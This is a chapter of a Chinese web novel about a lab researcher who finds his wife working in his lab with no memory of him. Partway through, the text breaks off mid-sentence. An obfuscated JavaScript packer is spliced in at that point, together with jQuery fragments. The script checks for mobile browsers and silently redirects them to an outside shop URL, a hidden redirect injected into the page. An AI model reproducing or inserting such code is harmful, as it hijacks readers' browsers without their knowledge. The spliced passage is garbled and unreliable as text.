家园里是没有春夏秋冬、昼夜寒暑的,高精密的仪器让温度和光照始终维持在样品所需的范围,只有机械时钟默默地把时间展示出来,让不见天日的人们不会在无序中疯掉。
卡着静置时间回实验室,刚推开门,虞明奚就看见一尊大佛蹲在她的实验桌前。
听见开门的声音,大佛懒散地掀起眼皮。
蹭的一下站起来,大佛两眼发光地靠近虞明奚,眼睛光亮湿润,仿佛下一秒就要从里面流淌出能淹死人的海洋来。
情感之汹涌激烈,虞明奚离他还有段距离都能感受到,她僵硬着转过头去,却没有看见第二个人。
我……我吗?
眼见着徐伶鞘真的在她面前了,虞明奚幅度巨大的后退一步,瞪着双乌溜溜的大眼睛把人钉住。
“恼恼?”
徐伶鞘嘴里冒出一个陌生的称呼,让虞明奚无措地眨巴眨巴眼睛。
徐伶鞘本来抿着用以撒娇的唇被放开了,嘴角向下扯出一个冷漠的弧度,他清楚地看见了虞明奚的防备和疑惑。
她不认识他。
"……虞明奚?"
“您好……”
虽然徐研究员的举止神情很怪异,但是现在恢复正常并且叫出了她的名字,该不会……
他认错人了然后现在反应过来可是他的失态已经被我看见了他不会恼羞成怒然后杀我灭口……
徐伶鞘打断了虞明奚不为人知的脑电波:“咳,这么早来工作?”
实验室里时刻关注着徐研究员的研究助理们不可置信地抬起小脑袋瓜们。
好在徐伶鞘也意识到了这份不妥,若无其事地先把人放进研究室,然后回头轻飘飘对上看热闹的一双双眼睛。
眼睛们慌慌张张地低下去了。
虞明奚头一次那么热爱她的实验,全神贯注,她打定主意要以最专注的工作状态打消徐伶鞘想与她搭话的想法。
她在用她真诚的行动告诉研究员大人:刚刚的事完全没有在我心里留下丝毫印记,请您也把它忘记吧!
这显然很有用,徐研究员没有打扰她。
这次实验的数据好像不太对,虞明奚看着自己算出来的东西,疑惑地将那张公式表看了又看。
“明明也没用错啊,不会是实验步骤出错了吧?”
由于跟这个不明朗的实验结果斗争,等虞明奚发现自己的问题所在时,实验室的人已经寥寥无几。
她很头疼,她的问题出自于实验中一组溶剂的含量使用错误,可她确实是按照规定用量来做的。
"是溶剂加多了呢。"
清凌凌的声音指出了虞明奚的错误,是徐伶鞘。
虞明奚瞄了一眼溶剂含量使用规定,并没有发现自己溶剂加多了。
但是职场保命原则:不要反驳你的领导!所以她什么都没有说。
但是男人好像看出来了,很自然地和她站在同一个实验台桌前。
“让我猜猜看,溶质是不是膨胀过一次,然后你发现膨胀后溶质体积增大,就按照增大后的体积对应的标准加的溶剂?”
虞明奚很惊讶地看着他,她确实是这样操作的。
徐伶鞘俏皮地眨了下眼睛:“可是最开始的粉末数量没有相应的增多不是吗?中间溶质看似膨胀了,但是其中的粉末含量是不变的,而这个溶剂用量对应的实际上是溶质中溶解的粉末。”
虞明奚这下明白自己问题出在哪里了,她不好意思地笑了一下,先是向他道谢,随后又为自己的失误道歉。
徐伶鞘没有收下她的道歉:
“这没什么好道歉的,这并不是什么错误,只不过是思维方式不同。”
“有些人擅长控制变量,减少未知,这就很适合做实验;而另一些人像你一样,敢于接受未知,适应变化。”
接受未知,适应变化……
徐伶鞘动手帮忙收拾桌上的东西,“这种特质在做实验上可能会容易出错,但是在另一个地方,却是非常稀缺宝贵的财富。”
虞明奚的心脏蓬勃跳动,被她刻意忽略的、一见到徐伶鞘就不太舒服的感觉此刻格外明显。
她心里其实有个答案,但她还是轻声问徐研究员:“哪个地方呀?”
然后收拾好实验桌的徐研究员眼眸含笑,低头望着那双亮晶晶的双眼说:“一起吃个饭吗?”
坐在餐厅里,看着徐伶鞘去点单的背影,虞明奚无奈地捂住了自己的脸。
明奚同学,你怎么能为了一句自己知道的答案就这样稀里糊涂地跟人一起来吃饭了呢?
“怎么了,头不舒服吗?”
男人说话尾音含笑,让虞明奚感觉他已经看出了她的窘迫。
虞明奚把她的脸蛋从手掌中释放出来,一脸正经:“没有的。”
被手掌捂过的娇嫩脸蛋此刻白里透红,像一颗多汁的水蜜桃,让人很想咬一口。
这也确实让徐伶鞘想起了这颗水蜜桃的口感和甜度,一下令他口齿生津,眼神都暗了。
可随即想到老婆现在的异常,他只好将那些蠢蠢欲动压制下去。
“你是这里的本园人吗?”
虞明奚点了点头,她现在确实是一直住在这个家园,至于失忆前是哪个家园的人,她也不知道,况且也没必要给徐伶鞘说。
徐伶鞘微微点了下头:“那你有想过去地上工作吗,我也没有别的意思,只是感觉你其实并不喜欢做实验,刚好也挺适合地上。”
“恩……我之前受了点伤,暂时没有办法去地上工作。”
“什么时候受的伤呢?”
“三年前……”虞明奚抬眼看了一眼徐伶鞘,张了下嘴又闭上了。
徐伶鞘注意到了老婆的小表情,一方面觉得真可爱啊,一方面心沉了下去。
三年前,他正常完成了研究工作,收拾好自己早早的等在清理站门口等老婆回家,却只看见“清风”小队一脸茫然痛苦的队员们。
他们的队长,他的妻子,在这次任务中失踪了,在地上任务中失踪,几乎就是判了死刑。
可是那是一个非常普通、非常简单的任务,一个刚开始地上工作的小队都很难在这个任务中受伤减员,更何况是有“将军”虞明奚坐镇的最强地上行动小队清风呢?
但再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752894|209442||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怎么让人不可置信,虞明奚就是没有回来。
徐伶鞘那段时间疯狂地查,他确信是背后有人在做手脚,可对方的动作很快,他只来得及证实这确实不是意外,而是一场有预谋的杀害。
虞明奚在那场谋杀中活了下来,虽然代价是失忆,但这已经是徐伶鞘无数个深夜祈求不来的梦境。
之前因为颓废而没有继续深入的真相,现在也必须得去探查。
徐伶鞘咽下嘴里最后一口食物,隐晦地用眼神将对面仍然在进食的虞明奚整个描摹一遍,将那颗枯萎的心重新填满。
-
虞明奚整个人窝在摇椅里,手里捧着一杯还在冒热气的水。
徐研究员不像坏人,虞明奚想,所有认为她是天生的地上行动人员的人在她这里都是好人。
顺滑的长卷发因为洗后没有完全吹干的缘故,颜色比干爽时的焦糖棕色深一些。
虞明奚的头发颜色不像大多数亚洲人是偏黑色的,她的遗传了父亲,一头焦糖棕的微卷。
几乎每个刚认识的人都会好奇地问一句她是在哪个理发师那里染的哪个颜色,这么自然又好看,他们去找理发师都染不出同样的效果。
可是她今天注意到,徐伶鞘的头发颜色和她的很接近,她没有办法拿下来让两撮头发挨着比较,但以她的肉眼看来,感觉就是一个颜色,虽然徐研究员的发质稍微有点差了。
是染的吗,还是说也是天生的?
如果是染的,那那些喜欢这个颜色又一直染不出来的小伙伴们就可以借鉴一下了。
杯中的水没有刚刚那么烫了,虞明奚将唇贴上杯沿,抿了一小口。
从躺椅侧边的口袋里掏出一个青色的本子,虞明奚翻开有书签的那一页。
这个本子记录了一些虞明奚认为比较重要和有意义的事情,还有一些疑惑,比如:今天能下床啦,虞以为最恶心的营养液口味排名,总在虞门口吵架的小情侣二三事,虞从哪里来……
水蓝色的笔出墨流畅:
一个让虞苦恼的新领导,是研究大能,很平易近人,认可虞的地上能力,请虞吃了“人类应该吃的食物”。
然虞见他,心扑通严重,好像要跳出来似的,难道是生理性不适?
笔帽顶着下巴尖,透亮的黑瞳乌溜溜转着圈,虞明奚思索片刻,在这页纸的下面写了个很大的“naonao”。
当时徐伶鞘叫这个昵称时,她也有很明显的异样感觉,说不出是为什么,她总感觉,她和“naonao”有某种联系,这甚至让她当时有种徐研究员是在叫她的错觉。
在旁边打了个超级明显的双层大问号,虞明奚抿着嘴摇头晃脑。
撕了一张白纸,虞明奚在上面写下新的规划,随后把这张纸贴到了那张地上照片的下面。
她一定要尽快去地上工作,这份心情,在见到徐伶鞘后燃烧得比以前更盛。
合上本子,那枚简单的书签也被封存。
那是一片由透明压缩夹制作的书签,里面包裹着一片薄薄的、不规则的白色硬片,那是虞明奚唯一的家人,和她一起从地上来到家园。